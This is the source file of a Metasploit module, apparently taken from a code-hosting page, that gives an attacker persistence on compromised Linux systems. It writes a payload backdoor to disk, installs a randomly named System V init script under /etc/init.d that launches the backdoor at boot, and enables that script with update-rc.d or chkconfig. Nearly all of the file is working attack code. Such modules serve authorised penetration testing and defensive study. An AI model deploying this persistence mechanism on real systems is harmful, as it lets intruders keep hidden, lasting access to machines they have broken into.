Path: blob/master/modules/exploits/linux/persistence/init_sysvinit.rb
31375 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::EXE # for generate_payload_exe11include Msf::Exploit::FileDropper12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck14include Msf::Exploit::Deprecated15moved_from 'exploits/linux/local/service_persistence'1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Service System V Persistence',22'Description' => %q{23This module will create a service via System V on the box, and mark it for auto-restart.24We need enough access to write service files and potentially restart services.2526Some systems include backwards compatibility, such as Ubuntu up to about 16.04.2728Targets:29CentOS <= 530Debian <= 631Kali 2.032Ubuntu <= 6.0633Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.3435Verified on Kali 2.0, Ubuntu 10.0436},37'License' => MSF_LICENSE,38'Author' => [39'h00die',40],41'Platform' => ['unix', 'linux'],42'Targets' => [43[44'System V', {45runlevel: '2 3 4 5'46}47]48],49'DefaultTarget' => 0,50'Arch' => [51ARCH_CMD,52ARCH_X86,53ARCH_X64,54ARCH_ARMLE,55ARCH_AARCH64,56ARCH_PPC,57ARCH_MIPSLE,58ARCH_MIPSBE59],60'References' => [61['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],62['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],63['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS]64],65'SessionTypes' => ['shell', 'meterpreter'],66'Privileged' => true,67'Notes' => {68'Stability' => [CRASH_SAFE],69'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],70'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]71},72'DisclosureDate' => '1983-01-01' # system v release date73)74)7576register_options(77[78OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),79OptString.new('SERVICE', [false, 'Name of service to create'])80]81)82register_advanced_options(83[84OptBool.new('EnableService', [true, 'Enable the service', true])85]86)87end8889def check90print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')91return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)92return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/')9394has_updatercd = command_exists?('update-rc.d')95if has_updatercd || command_exists?('chkconfig') # centos 596return CheckCode::Appears("#{writable_dir} is writable and system is System V based")97end9899CheckCode::Safe('Likely not a System V based system')100end101102def install_persistence103backdoor = write_shell(writable_dir)104105path = backdoor.split('/')[0...-1].join('/')106file = backdoor.split('/')[-1]107108system_v(path, file, target.opts[:runlevel], command_exists?('update-rc.d'))109end110111def write_shell(path)112file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)113backdoor = "#{path}/#{file_name}"114vprint_status("Writing backdoor to #{backdoor}")115if payload.arch.first == 'cmd'116write_file(backdoor, payload.encoded)117chmod(backdoor, 0o755)118else119upload_and_chmodx backdoor, generate_payload_exe120end121@clean_up_rc << "rm #{backdoor}\n"122123if file_exist?(backdoor)124chmod(backdoor, 0o711)125return backdoor126end127fail_with(Failure::NoAccess, 'File not written, check permissions.')128end129130def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)131if has_updatercd132vprint_status('Utilizing update-rc.d')133else134vprint_status('Utilizing chkconfig')135end136137service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)138139script = <<~EOF140#!/bin/sh141### BEGIN INIT INFO142# Provides: #{service_filename}143# Required-Start: $network144# Required-Stop: $network145# Default-Start: #{runlevel}146# Default-Stop: 0 1 6147# Short-Description: Start daemon at boot time148# Description: Enable service provided by daemon.149### END INIT INFO150DIR="#{backdoor_path}"151CMD="#{backdoor_file}"152NAME="$(basename "$0")"153PID_FILE="/var/run/$NAME.pid"154STDOUT_LOG="/var/log/$NAME.log"155STDERR_LOG="/var/log/$NAME.err"156get_pid() {157[ -f "$PID_FILE" ] && cat "$PID_FILE"158}159is_running() {160PID=$(get_pid)161[ -n "$PID" ] && kill -0 "$PID" 2>/dev/null162}163start_service() {164if is_running; then165echo "$NAME is already running."166return 0167fi168echo "Starting $NAME..."169sleep 10 && $DIR/$CMD >> "$STDOUT_LOG" 2>> "$STDERR_LOG" &170echo $! > "$PID_FILE"171sleep 1172if is_running; then173echo "$NAME started successfully."174else175echo "Failed to start $NAME. Check logs: $STDOUT_LOG $STDERR_LOG"176exit 1177fi178}179stop_service() {180if ! is_running; then181echo "$NAME is not running."182return 0183fi184echo "Stopping $NAME..."185kill "$(get_pid)" && rm -f "$PID_FILE"186for i in $(seq 1 10); do187if ! is_running; then188echo "$NAME stopped."189return 0190fi191sleep 1192done193echo "Failed to stop $NAME."194exit 1195}196case "$1" in197start) start_service ;;198stop) stop_service ;;199restart)200stop_service201start_service202;;203status)204if is_running; then205echo "$NAME is running."206else207echo "$NAME is stopped."208exit 1209fi210;;211*)212echo "Usage: $0 {start|stop|restart|status}"213exit 1214;;215esac216exit 0217EOF218219service_name = "/etc/init.d/#{service_filename}"220vprint_status("Writing service: #{service_name}")221write_file(service_name, script)222223fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)224225@clean_up_rc << "rm #{service_name}\n"226@clean_up_rc << "rm /var/log/#{service_name}.log\n"227@clean_up_rc << "rm /var/log/#{service_name}.err\n"228chmod(service_name, 0o755)229print_good('Enabling & starting our service (10 second delay for payload)')230if has_updatercd231cmd_exec("update-rc.d #{service_filename} defaults")232cmd_exec("update-rc.d #{service_filename} enable")233if file_exist?('/usr/sbin/service') # some systems have update-rc.d but not service binary, have a fallback just in case234cmd_exec("service #{service_filename} start")235else236cmd_exec("/etc/init.d/#{service_filename} start")237end238else # CentOS239cmd_exec("chkconfig --add #{service_filename}")240cmd_exec("chkconfig #{service_filename} on")241cmd_exec("/etc/init.d/#{service_filename} start")242end243end244end245246247